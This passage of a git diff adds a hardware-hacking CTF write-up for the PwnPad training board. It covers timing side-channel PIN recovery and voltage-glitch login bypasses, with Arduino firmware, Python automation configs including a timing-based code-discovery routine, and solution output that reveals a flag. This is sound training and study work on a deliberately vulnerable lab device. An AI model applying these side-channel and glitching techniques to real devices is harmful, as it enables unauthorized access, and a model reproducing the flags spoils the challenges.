+The LED flashed once the first incorrect pin was found, there was a small delay between each pin check, thereby we could dissern each pin one after the other. e.g.:
+
+|pin attempt|time|notes|
+|---|---|---|
+|1111|005ms||
+|2222|**010ms**|"2" must be correct as took longest|
+|3333|050ms||
+|2111|**015ms**|"21" took longest of 2nd digit choices|
+|2222|010ms||
+|2333|010ms||
+
+... and so on until the code is worked out.
+
+I hooked up the logic aanalyser to the ok button and the LED. The LED on the lower trace:
+
+
+
+So I didnt have to push the buttons manually (because that would have been a disaster) I wired up the arduino to the buttons and LED and created an arduino sketch to ineract with input and output pins and time when pins go high/low: [arduino code](docs/09_arduino.ino)
+
+I also created a python class to talk to the arduino: [arduinIO](docs/arduinIO.py)
+
+This was all tied together with of course, a glitch-o-bolt config: [glitch-o-bolt config](docs/09_GoB_config.py)
+
+With the logic analyzer still hooked up it was possible to see the delay buy usign the timing markers on the start of the button press and the start of the LED turning off:
+
+
+
+This demonstrates the time between ".", "-" and " " (symbolized as "\*") for identifying the first character
+
+
+
+The second char
+
+
+
+And of course the glitch-o-bolt solution:
+
+
\ No newline at end of file
diff --git a/10.md b/10.md
new file mode 100644
index 0000000..6ca199c
--- /dev/null
+++ b/10.md
@@ -0,0 +1,22 @@
+# **Challenge 10: "Tempo Leak"**
+
+This challenge builds on the mechanics of **Clock Spy**, but with a twist. The device now uses a **4-digit PIN**, and the password verification is only triggered **after all four digits have been entered**.
+
+Your goal remains a **timing side-channel attack** to recover the PIN. The change in input handling means you’ll need to adjust your analysis techniques accordingly.
+
+**Your mission is clear:**
+
+1. **Capture and analyze timing data** during the full 4-digit PIN entry.
+2. **Leverage timing variations** to deduce the complete PIN.
+3. **Recover the PIN and bypass the security check.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+This was very similar to the previous one. Minor tweaks to the glitch-o-bolt config: [glitch-o-bolt config](docs/10_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/11.md b/11.md
new file mode 100644
index 0000000..15b5a25
--- /dev/null
+++ b/11.md
@@ -0,0 +1,96 @@
+# **Challenge 11: "Chaos Chain: Glitchgate"**
+
+Welcome to the **Glitchgate** arena, where you get no schematics, no source code, and only the bare device in front of you. Your goal is to break in by chaining multiple hardware attack techniques.
+
+This challenge combines two major hurdles:
+- An **obscure UART baud rate** that you must identify to establish communication.
+- A **fault injection attack** that bypasses the UART login screen, granting unauthorized access.
+
+You’ll need to carefully analyze the device, discover the correct UART settings, and time your glitch precisely to defeat its defenses.
+
+**Your mission is clear:**
+
+1. **Identify the obscure UART baud rate** used by the device.
+2. **Bypass the UART login screen** via a fault injection.
+3. **Gain control of the device and retrieve the flag through the UART interface.**
+
+## Setup
+
+
+
+## Notes
+
+Start much like challenge #2 and analyze the traffic to identify the pulse width:
+
+
+
+**Quick math:**\
+Baud rate = 1 / bit time\
+Bit time = 1 microsecond = 1 × 10⁻⁶ seconds\
+Baud rate = 1 / (1 × 10⁻⁶) = 1 000 000 baud
+
+**Answer:** The UART baud rate is 1 000 000 baud (1 Mbps).
+
+
+lets check that:
+
+
+
+It already has a hardcoded password.\
+It sets a variable to 1 (the correct password variable).\
+You input a string and it will read up until "\r".\
+For each letter of the hardcoded password it will check the corresponding letter of the input string, if it doesnt match then it sets the variable to 0 (password incorrect).\
+Once this has complete it checks the variable and either returns the flag or an error message.\
+That looks as follows:
+
+```
+void blackbox_chain_UART_Glitch_Attack(void){
+ const char password[] = "-redacted-"; // orig 17 chars
+ Serial.begin(900847); // dbeef
+ Serial.println("\nWelcome to my Login Interface!");
+ Serial.println("You managed to identify my UART baudrate, now please login.");
+ Serial.println("[+] Please Provide Your Password:");
+
+ while(1){
+ Serial.flush();
+ if (Serial.available() > 0) {
+ char provided_password[strlen(password)];
+ Serial.readBytesUntil('\n', provided_password, strlen(password));
+ int success = 1;
+ for (int i = 0; i < strlen(password); i++) {
+ if (provided_password[i] != password[i]) {
+ success = 0;
+ break;
+ }
+ }
+
+ if (success == 1) {
+ Serial.println("-redacted flag-");
+ Serial.flush();
+ exit(0);
+ } else {
+ Serial.println("[-] Login FAILED");
+ Serial.println("[+] Please Provide Your Password:");
+ }
+ }
+ }
+}
+```
+
+It seems like there are a few potential glitch places:
+
+`if (success == 1) {` - have to get crazy lucky to glitch this comparison or glitch the variable “success” to be 1!
+
+`Serial.println("[-] Login FAILED");` - could glitch the pointer to the string and it echos another memory location (hopefully the flag) - insanely unlikley
+
+`for (int i = 0; i < strlen(password); i++) {` - if could glitch the loop so skips over it entirely and “success” would stay 1
+
+Of course I wrote a glitch-o-bolt script to brute-force this: [glitch-o-bolt config](docs/11_GoB_config.py)
+
+The watchdog is there because sometimes it glitched into a state that caused it to stop responding, if it doesnt respond for 2 seconds then the watchdog will restart the device (with a long glitch).
+
+I didnt get it to bypass the check or echo the flag. I think given enough time it will, theres got to be a better way of doing this?
+
+It did echo the previous challenges flag a lot (I guess it was in the memory, or at an address where one bit flip pointed to or somesuch)
+
+
\ No newline at end of file
diff --git a/12.md b/12.md
new file mode 100644
index 0000000..1bf3787
--- /dev/null
+++ b/12.md
@@ -0,0 +1,87 @@
+# **Challenge 12: "Chaos Chain: Timebomb"**
+
+In this final Black Box CTF challenge, the device steps up the difficulty:
+- The **UART pins have been relocated**, so you must manually identify the correct pins.
+- The UART communication runs at a **non-common baud rate**, adding an extra layer of complexity.
+- After establishing communication, you must perform a **timing side-channel attack** to extract the secret.
+
+Only the most persistent and observant hackers will succeed.
+
+**Your mission is clear:**
+
+1. **Identify the relocated UART pins** through careful probing.
+2. **Determine the obscure UART baud rate** used by the device.
+3. **Perform a timing side-channel attack** to retrieve the hidden flag via UART.
+
+## Setup
+
+
+
+## Notes
+
+The first step was probing around until I found the correct UART pins, once I did, I then hooked up some clips to the logic analyzer:
+
+
+
+This gave the following:
+
+
+
+I then traced the chip pins to the header pins on the board and hooked up the board to look like the setup picture above.
+
+Maths that pulse width:\
+Baud rate = 1 / bit time\
+Bit time = 833.75 microseconds = 833.75 × 10⁻⁶ seconds\
+Baud rate = 1 / (833.75 × 10⁻⁶) = 1 199.1004 baud
+
+**Answer:** The UART baud rate is approximately 1 199 baud.
+
+For this one I didnt use glitch-o-bolt, instead opting for a standalone python script: [12_solution.py](docs/12_solution.py)\
+The full solution output can be read here: [12_solution.txt](docs/12_solution.txt)
+
+But to summarize:
+
+```
+[INFO] Analysing position 6/8
+[RESULT] Candidate '0' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1010.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1009.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1013.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1010.00 ms
+[INFO] Position 6 selected: '2' (avg 1021.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 253152 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 7/8
+[RESULT] Candidate '0' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '3' average LOW-delay: 0.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1019.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1023.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1032.00 ms
+[INFO] Position 7 selected: '9' (avg 1032.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 2531529 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 8/8
+[RESULT] Candidate '0' average LOW-delay: 1031.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1030.00 ms
+[SUCCESS] Device accepted code via UART: TS{D0n7_M355_w17h_t1m3} -> 25315294
+[SUCCESS] Discovered PIN: 25315294
+[INFO] Connections closed
+```
\ No newline at end of file
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..3a25cd4
--- /dev/null
+++ b/README.md
@@ -0,0 +1,33 @@
+12Sec CTF - PwnPad v1.0
+===============
+
+This is where I am storing my documentation and solutions for the PwnPad CTF.
+
+>**There are spoilers here, if you dont want to read spoilers/solutions/flags then turn away now**
+>
+> You have been warned.
+>
+> **THIS REPO CONTAINS SPOILERS**
+
+That being said the solutions I have come up with may not be the intended solution, but they are what worked for me.
+
+## Status
+
+|done|#|Name|Topics|Description|
+|---|---|---|---|---|
+|[x]|[01](01.md)|Serial Snitch|`#UART`|Intercept and decode UART communication.|
+|[x]|[02](02.md)|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.|
+|[x]|[03](03.md)|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.|
+|[x]|[04](04.md)|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.|
+|[x]|[05](05.md)|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.|
+|[x]|[06](06.md)|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.|
+|[x]|[07](07.md)|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.|
+|[x]|[08](08.md)|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.|
+|[x]|[09](09.md)|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.|
+|[x]|[10](10.md)|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.|
+|[ ]|[11](11.md)|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.|
+|[x]|[12](12.md)|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.|
+
+## The Board
+
+
\ No newline at end of file
diff --git a/docs/01_GoB.png b/docs/01_GoB.png
new file mode 100644
index 0000000..323ad56
--- /dev/null
+++ b/docs/01_GoB.png
Binary files differ
diff --git a/docs/01_GoB_config.py b/docs/01_GoB_config.py
new file mode 100644
index 0000000..19bd20d
--- /dev/null
+++ b/docs/01_GoB_config.py
@@ -0,0 +1,50 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+UART_NEWLINE = ""
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['1', False, "", 'one'],
+ ['2', False, "", 'two'],
+ ['3', False, "", 'three'],
+]
+
+######
+# Custom functions
+######
+
+# Toggle states for each function
+toggle_state_one = 0
+toggle_state_two = 0
+toggle_state_three = 0
+
+def one():
+ global toggle_state_one
+ functions.send_uart_message("1")
+ functions.send_uart_message(str(toggle_state_one))
+ toggle_state_one = 1 - toggle_state_one
+
+def two():
+ global toggle_state_two
+ functions.send_uart_message("2")
+ functions.send_uart_message(str(toggle_state_two))
+ toggle_state_two = 1 - toggle_state_two
+
+def three():
+ global toggle_state_three
+ functions.send_uart_message("3")
+ functions.send_uart_message(str(toggle_state_three))
+ toggle_state_three = 1 - toggle_state_three
+
diff --git a/docs/01_setup.png b/docs/01_setup.png
new file mode 100644
index 0000000..2620b36
--- /dev/null
+++ b/docs/01_setup.png
Binary files differ
diff --git a/docs/02_GoB.png b/docs/02_GoB.png
new file mode 100644
index 0000000..f39dfc7
--- /dev/null
+++ b/docs/02_GoB.png
Binary files differ
diff --git a/docs/02_GoB_config.py b/docs/02_GoB_config.py
new file mode 100644
index 0000000..2671dec
--- /dev/null
+++ b/docs/02_GoB_config.py
@@ -0,0 +1,7 @@
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 31250
+
diff --git a/docs/02_logic_01.png b/docs/02_logic_01.png
new file mode 100644
index 0000000..a0172e4
--- /dev/null
+++ b/docs/02_logic_01.png
Binary files differ
diff --git a/docs/02_logic_02.png b/docs/02_logic_02.png
new file mode 100644
index 0000000..4fff1fb
--- /dev/null
+++ b/docs/02_logic_02.png
Binary files differ
diff --git a/docs/02_setup.png b/docs/02_setup.png
new file mode 100644
index 0000000..9da2c40
--- /dev/null
+++ b/docs/02_setup.png
Binary files differ
diff --git a/docs/03_logic.png b/docs/03_logic.png
new file mode 100644
index 0000000..82b6351
--- /dev/null
+++ b/docs/03_logic.png
Binary files differ
diff --git a/docs/03_setup.png b/docs/03_setup.png
new file mode 100644
index 0000000..4b3b988
--- /dev/null
+++ b/docs/03_setup.png
Binary files differ
diff --git a/docs/04_arduino.ino b/docs/04_arduino.ino
new file mode 100644
index 0000000..9fac534
--- /dev/null
+++ b/docs/04_arduino.ino
@@ -0,0 +1,31 @@
+// Minimal I2C slave that ACKs writes at address 0x12
+// Reads and discards incoming bytes so the master write is acknowledged
+#include
+
+const uint8_t SLAVE_ADDR = 0x12; // 18 decimal
+
+void setup() {
+ Wire.begin(SLAVE_ADDR); // start as slave at 0x12
+ Wire.onReceive(onReceive); // handle master write transfers
+ // LED gives a short visual indication of activity
+ pinMode(LED_BUILTIN, OUTPUT);
+ digitalWrite(LED_BUILTIN, LOW);
+}
+
+void loop() {
+ // No active work required in loop for this simple slave
+ delay(200);
+}
+
+// Called when the master writes to this slave
+void onReceive(int bytes) {
+ // Read and discard all incoming bytes so the master sees ACKs
+ while (Wire.available()) {
+ (void)Wire.read();
+ }
+
+ // Short LED flash to indicate a received transfer
+ digitalWrite(LED_BUILTIN, HIGH);
+ delay(40);
+ digitalWrite(LED_BUILTIN, LOW);
+}
\ No newline at end of file
diff --git a/docs/04_logic_01.png b/docs/04_logic_01.png
new file mode 100644
index 0000000..11e3729
--- /dev/null
+++ b/docs/04_logic_01.png
Binary files differ
diff --git a/docs/04_logic_02.png b/docs/04_logic_02.png
new file mode 100644
index 0000000..0f8368e
--- /dev/null
+++ b/docs/04_logic_02.png
Binary files differ
diff --git a/docs/04_setup.png b/docs/04_setup.png
new file mode 100644
index 0000000..41c193a
--- /dev/null
+++ b/docs/04_setup.png
Binary files differ
diff --git a/docs/05_GoB.png b/docs/05_GoB.png
new file mode 100644
index 0000000..24041fd
--- /dev/null
+++ b/docs/05_GoB.png
Binary files differ
diff --git a/docs/05_setup_01.png b/docs/05_setup_01.png
new file mode 100644
index 0000000..bed110a
--- /dev/null
+++ b/docs/05_setup_01.png
Binary files differ
diff --git a/docs/05_setup_02.png b/docs/05_setup_02.png
new file mode 100644
index 0000000..82f24d7
--- /dev/null
+++ b/docs/05_setup_02.png
Binary files differ
diff --git a/docs/07_GoB.png b/docs/07_GoB.png
new file mode 100644
index 0000000..34dc284
--- /dev/null
+++ b/docs/07_GoB.png
Binary files differ
diff --git a/docs/07_GoB_config.py b/docs/07_GoB_config.py
new file mode 100644
index 0000000..0ee78c6
--- /dev/null
+++ b/docs/07_GoB_config.py
@@ -0,0 +1,44 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+LENGTH = 10
+REPEAT = 10
+DELAY = 10
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+ ['-', False], #0
+ ['^', True], #1
+ ['-', False], #2
+ ['-', False], #3
+ ['-', False], #4
+ ['-', False], #5
+ ['-', False], #6
+ ['-', False], #7
+]
+
+### name, enabled, string to match ###
+conditions = [
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+def stop_glitch():
+ elapsed = functions.get_glitch_elapsed()
+
+ functions.set_trigger_value(1, False)
+ functions.set_uart_switch(False)
+
+ functions.glitching_switch(False)
+ functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/docs/07_logic.png b/docs/07_logic.png
new file mode 100644
index 0000000..743ca35
--- /dev/null
+++ b/docs/07_logic.png
Binary files differ
diff --git a/docs/07_setup.png b/docs/07_setup.png
new file mode 100644
index 0000000..a5c5fc3
--- /dev/null
+++ b/docs/07_setup.png
Binary files differ
diff --git a/docs/08_GoB.png b/docs/08_GoB.png
new file mode 100644
index 0000000..242458c
--- /dev/null
+++ b/docs/08_GoB.png
Binary files differ
diff --git a/docs/08_GoB_config.py b/docs/08_GoB_config.py
new file mode 100644
index 0000000..1185630
--- /dev/null
+++ b/docs/08_GoB_config.py
@@ -0,0 +1,108 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+LENGTH = 10
+REPEAT = 10
+DELAY = 10
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+ ['-', False], #0
+ ['^', False], #1
+ ['-', False], #2
+ ['-', False], #3
+ ['-', False], #4
+ ['-', False], #5
+ ['-', False], #6
+ ['-', False], #7
+]
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['rdy', False, "", 'setup_buttons'],
+ ['ok', False, "", 'button_ok'],
+ ['dash', False, "", 'button_dash'],
+ ['spce', False, "", 'button_space'],
+ ['dot', False, "", 'button_dot'],
+ ['check', False, "", 'echo_trigger_state'],
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+######
+# Custom functions
+######
+def setup_buttons():
+ functions.run_output_low(0, 3000)
+ functions.run_output_low(1, 3000)
+ functions.run_output_low(2, 3000)
+ functions.run_output_low(3, 3000)
+
+def button_ok():
+ functions.run_output_high(0, 15000000) # Can also run_output_low() if needed
+ functions.set_trigger_value(0, True)
+ functions.run_output_low(0, 3000)
+
+ last_state = functions.get_trigger_value(0)
+ start_time = time.time()
+
+ while True:
+ current_state = functions.get_trigger_value(0)
+
+ # Detect rising edge: 0 → 1
+ if last_state == 0 and current_state == 1:
+ functions.set_trigger_value(0, False)
+ functions.add_text("[code check complete]")
+ break
+
+ # Exit if 1 second has elapsed
+ if time.time() - start_time >= 1.0:
+ functions.add_text("[timeout: no input detected within 1 second]")
+ break
+
+ last_state = current_state
+ time.sleep(0.01) # Polling interval (10 ms)
+
+
+def button_dash():
+ functions.run_output_high(1, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(1, 3000)
+
+def button_space():
+ functions.run_output_high(2, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(2, 3000)
+
+def button_dot():
+ functions.run_output_high(3, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(3, 3000)
+
+
+def echo_trigger_state():
+ for channel in range(8):
+ state = functions.get_trigger_value(channel)
+ if state == 1:
+ functions.add_text(f"Channel {channel}: HIGH")
+ else:
+ functions.add_text(f"Channel {channel}: LOW")
+
+def stop_glitch():
+ elapsed = functions.get_glitch_elapsed()
+
+ functions.set_trigger_value(1, False)
+ functions.set_uart_switch(False)
+
+ functions.glitching_switch(False)
+ functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/docs/08_logic.png b/docs/08_logic.png
new file mode 100644
index 0000000..e9e7189
--- /dev/null
+++ b/docs/08_logic.png
Binary files differ
diff --git a/docs/09_GoB.png b/docs/09_GoB.png
new file mode 100644
index 0000000..c772a3a
--- /dev/null
+++ b/docs/09_GoB.png
Binary files differ
diff --git a/docs/09_GoB_config.py b/docs/09_GoB_config.py
new file mode 100644
index 0000000..94c453d
--- /dev/null
+++ b/docs/09_GoB_config.py
@@ -0,0 +1,155 @@
+######
+# LEAVE THESE IMPORTS!
+######
+from arduinIO import ArduinoController
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+######
+# arduinIO values
+######
+ARDIO_PORT = "/dev/ttyACM2"
+ARDIO_BAUDRATE = 115200
+ARDIO_INPUT_PIN = 2
+ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, dot, dash
+ARDIO_PULSE_DURATION_MS = 300
+
+arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE)
+arduino.connect()
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['rdy', False, "", 'setup_buttons'],
+ ['ok', False, "", 'button_ok'],
+ ['dash', False, "", 'button_dash'],
+ ['spce', False, "", 'button_space'],
+ ['dot', False, "", 'button_dot'],
+ ['check', False, "", 'echo_trigger_state'],
+ ['run', False, "", 'find_code'],
+]
+
+######
+# Custom functions
+######
+def setup_buttons():
+ version = arduino.get_version()
+ functions.add_text(f"[INFO] Connected to Arduino: {version}")
+
+ # Configure pins
+ functions.add_text("[INFO] Configuring pin modes...")
+ arduino.set_mode(ARDIO_INPUT_PIN, "INPUT")
+ for pin in ARDIO_OUTPUT_PINS:
+ arduino.set_mode(pin, "OUTPUT")
+ arduino.set_default(pin, "LOW")
+
+ # Display current configuration
+ pinmap = arduino.get_pinmap()
+ functions.add_text(f"[INFO] Pin map: {pinmap}")
+
+
+def button_ok():
+ # Pulse one output pin
+ functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dash():
+ functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_space():
+ functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dot():
+ functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def echo_trigger_state():
+ state = arduino.get_state(ARDIO_INPUT_PIN)
+ functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}")
+
+def find_code():
+ """
+ Discover a five-digit code by sending candidate pulses and measuring the
+ interval from sending OK (pin 8) until input goes HIGH using wait_for().
+
+ For each digit:
+ - Send one pulse for previously found digits.
+ - Send repeated pulses of the candidate digit to fill 5 pulses.
+ - Pulse OK (pin 8) to trigger the device.
+ - Measure duration using wait_for() for input HIGH.
+ - Select candidate with the longest LOW duration before HIGH.
+ """
+ candidate_pins = [9, 10, 11]
+ code_sequence = []
+ pin_to_symbol = {8: "OK", 9: "Space", 10: ".", 11: "-"}
+
+ button_ok()
+ functions.add_text("[INFO] Pulsing output pin 8 to reset device...")
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+ functions.add_text("[INFO] Starting full code discovery sequence...")
+
+ for digit_index in range(5):
+ functions.add_text(f"[INFO] Finding digit {digit_index + 1}...")
+ results = {}
+
+ for test_pin in candidate_pins:
+ # Build sequence: previously found digits + candidate repeated
+ sequence = code_sequence.copy()
+ remaining_pulses = 5 - len(sequence)
+ sequence += [test_pin] * remaining_pulses
+ symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence]
+ functions.add_text(f"[TEST] Testing pin {test_pin} ({pin_to_symbol.get(test_pin)}), "
+ f"sequence: {' '.join(symbol_seq)} ...")
+
+ # Send sequence pulses (without timing)
+ for pin in sequence:
+ arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.1)
+
+ # Start timer and pulse OK (pin 8)
+ start_time = time.time()
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+
+ # Wait for input to go HIGH and measure duration
+ result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH")
+ end_time = time.time()
+
+ # Use the Arduino-provided LOW duration, fallback to timer if needed
+ duration = result.get("duration_ms", int((end_time - start_time) * 1000))
+ functions.add_text(f"[RESULT] Pin {test_pin} - LOW->HIGH {duration} ms.")
+
+ results[test_pin] = duration
+ time.sleep(0.3)
+
+ # Select candidate with longest duration (correct digit)
+ correct_pin = max(results, key=results.get)
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}")
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): "
+ f"{pin_to_symbol.get(correct_pin)}")
+ code_sequence.append(correct_pin)
+
+ translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence]
+ functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}")
+ functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}")
+
+ return code_sequence, translated_sequence
\ No newline at end of file
diff --git a/docs/09_arduino.ino b/docs/09_arduino.ino
new file mode 100644
index 0000000..9d7d09b
--- /dev/null
+++ b/docs/09_arduino.ino
@@ -0,0 +1,352 @@
+/*
+=====================================================================
+ARDUINO SERIAL PIN CONTROL AND MONITORING FIRMWARE
+=====================================================================
+Version: 1.3.0
+Author: [Your Name]
+Board Support: UNO, NANO, MEGA2560, LEONARDO (auto-detected)
+
+DESCRIPTION
+---------------------------------------------------------------------
+This firmware enables external control and monitoring of Arduino
+digital pins through a serial interface. It is designed for
+integration with Python or similar host software.
+
+The firmware supports dynamic pin-mode configuration, runtime
+output control, input monitoring, duration measurement, and pin-map
+query. All commands and responses use ASCII text terminated by '\n'.
+
+=====================================================================
+ASCII COMMAND REFERENCE
+=====================================================================
+
++----------------+--------------------------------+-------------------------------------+-------------------------------------------------------------+
+| COMMAND | EXAMPLE REQUEST | EXAMPLE RESPONSE | DESCRIPTION |
++----------------+--------------------------------+-------------------------------------+-------------------------------------------------------------+
+| GET_VERSION | GET_VERSION | VERSION:1.3.0 | Returns firmware version to confirm serial communication. |
+| | | | |
+| SET_MODE | SET_MODE:8:OUTPUT | ACK:SET_MODE:8:OUTPUT | Configures a pin as INPUT or OUTPUT dynamically. |
+| | SET_MODE:2:INPUT | ACK:SET_MODE:2:INPUT | |
+| | | | |
+| GET_PINMAP | GET_PINMAP | PINMAP:INPUT:2;OUTPUT:8,9,10,11 | Returns the current input and output pin assignments. |
+| | | | |
+| SET_DEFAULT | SET_DEFAULT:8:HIGH | ACK:SET_DEFAULT:8:HIGH | Sets an output pin to a default state until changed. |
+| | | | |
+| SET_FOR | SET_FOR:9:HIGH:500 | ACK:SET_FOR:9:HIGH:500 | Sets an output pin to a state for a duration (ms). |
+| | | | Automatically reverts afterwards. |
+| | | | |
+| WATCH | WATCH:2 | ACK:WATCH:2 | Begins monitoring an input pin. Reports state changes as: |
+| | | CHANGE:2:HIGH:1421 | - Pin number, new state, and duration since last change. |
+| | | | |
+| GET_STATE | GET_STATE:2 | STATE:2:LOW | Returns current digital state of a specified pin. |
+| | | | |
+| GET_DURATION | GET_DURATION:2 | DURATION:2:1431 | Returns elapsed time since the pin’s last state change. |
+| | | | |
+| WAIT_FOR | WAIT_FOR:2:HIGH | WAIT_RESULT:2:HIGH:1432 | Waits until a pin reaches target state; returns duration. |
+| | | | |
+| ERROR HANDLING | UNKNOWN COMMAND | ERROR:UNKNOWN_COMMAND | Returned if a command is unrecognised or malformed. |
++----------------+--------------------------------+-------------------------------------+-------------------------------------------------------------+
+
+=====================================================================
+OPERATIONAL NOTES
+---------------------------------------------------------------------
+- Baud rate: 115200
+- Line termination: newline ('\n')
+- States are HIGH or LOW
+- Durations in milliseconds
+- All commands and responses are ASCII
+
+=====================================================================
+*/
+
+#include
+
+// ------------------------------------------------------------------
+// Board-specific pin range detection
+// ------------------------------------------------------------------
+#if defined(ARDUINO_AVR_UNO) || defined(ARDUINO_AVR_NANO)
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 13;
+#elif defined(ARDUINO_AVR_MEGA2560)
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 53;
+#elif defined(ARDUINO_AVR_LEONARDO)
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 13;
+#else
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 13;
+#endif
+
+const int NUM_PINS = LAST_PIN - FIRST_PIN + 1;
+
+// ------------------------------------------------------------------
+// Dynamic role and state tracking
+// ------------------------------------------------------------------
+bool isInput[NUM_PINS];
+bool isOutput[NUM_PINS];
+bool watching[NUM_PINS];
+unsigned long lastChangeTime[NUM_PINS];
+int lastState[NUM_PINS];
+
+// ------------------------------------------------------------------
+// Setup
+// ------------------------------------------------------------------
+void setup() {
+ Serial.begin(115200);
+
+ // Default: all usable pins configured as OUTPUT and LOW
+ for (int i = 0; i < NUM_PINS; i++) {
+ int pin = FIRST_PIN + i;
+ pinMode(pin, OUTPUT);
+ digitalWrite(pin, LOW);
+ isInput[i] = false;
+ isOutput[i] = true;
+ watching[i] = false;
+ lastState[i] = LOW;
+ lastChangeTime[i] = millis();
+ }
+
+ Serial.println("READY");
+}
+
+// ------------------------------------------------------------------
+// Main loop
+// ------------------------------------------------------------------
+void loop() {
+ handleSerial();
+ monitorWatchedPins();
+}
+
+// ------------------------------------------------------------------
+// Serial command processing
+// ------------------------------------------------------------------
+void handleSerial() {
+ static String inputString = "";
+ while (Serial.available()) {
+ char c = Serial.read();
+ if (c == '\n') {
+ inputString.trim();
+ processCommand(inputString);
+ inputString = "";
+ } else {
+ inputString += c;
+ }
+ }
+}
+
+// ------------------------------------------------------------------
+// Command dispatcher
+// ------------------------------------------------------------------
